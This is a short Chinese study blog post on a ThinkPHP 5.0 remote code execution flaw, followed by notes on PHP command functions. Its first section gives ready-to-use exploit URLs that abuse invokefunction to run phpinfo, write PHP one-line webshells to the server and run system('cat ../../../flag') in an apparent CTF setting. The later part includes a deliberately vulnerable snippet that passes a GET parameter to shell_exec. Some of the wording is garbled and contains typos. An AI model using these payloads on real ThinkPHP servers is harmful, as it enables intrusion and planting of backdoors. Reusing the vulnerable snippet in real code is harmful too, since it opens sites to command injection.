远程执行RCE漏洞,命令基础学习

thinkpad 5.0 rce漏洞

一,直接构建payload

payload与在get中写一句话木马的方法且构建cat命令的方法


执行payload
//①
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
//②
写一句话木马在get中直接用//即利用function=vars[0]=“命令内容1”&vars[1][0]="命令内容2"&vars[1][1]="命令内容3"状况
//①利用post写
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>

//②利用reauest代写
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

②利用cat命令结合抓取flag

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27//思考勾搭cat命令抓取思路

二,原理

  1. 通用系统的执行命令漏洞
    利用方法:
    具有可以ping的东西或者可以提交eval命令的文本框
    在这里插入图片描述
  2. 系统允许语言的执行漏洞
    php环境的漏洞
    在这里插入图片描述

注意bug

一,系统允许执行的命令函数之间的区别
①.exec与shell的典型用法和区别
典型用法

exec($cmd.' 2>&1',$output,$status);
//$cmd:shell脚本

//2>&1:表示shell脚本执行过程中的错误信息会被输出

//$output:数组格式,用于存储2>&1输出的错误信息

//$status:shell脚本的执行状态,0表示成功,其他都表示失败

$result = shell_exec($cmd);
//$cmd:shell脚本
//$result:shell脚本的执行结果

区别:

  1. exec只是返回一个状态值且不需要定义一个变量进行引用输出值(shell需要一个变量输出all值)
  2. exec只输出一个,shell_exec输出all
shell_exec
<?php
$cmd = $_GET['name'];
echo shell_exec($cmd);
?>//(返回的是all的值,exec只返回一个 )且语句类可以构造正则御语句执行状况
//如$cmd = shell_exec('ping ' . $taeget);



②system与passthru()的区别
作用:即执行给予的参数的命令且直接输出结果

//passthru直接将结果输出到浏览器,其可以输出二进制,比如图像数据
<?php
passthru("ls");
?>//pasyhur的使用类
<?php
system("ls /");//system的使用
?>

猜你喜欢

转载自blog.csdn.net/qq_33942040/article/details/106623641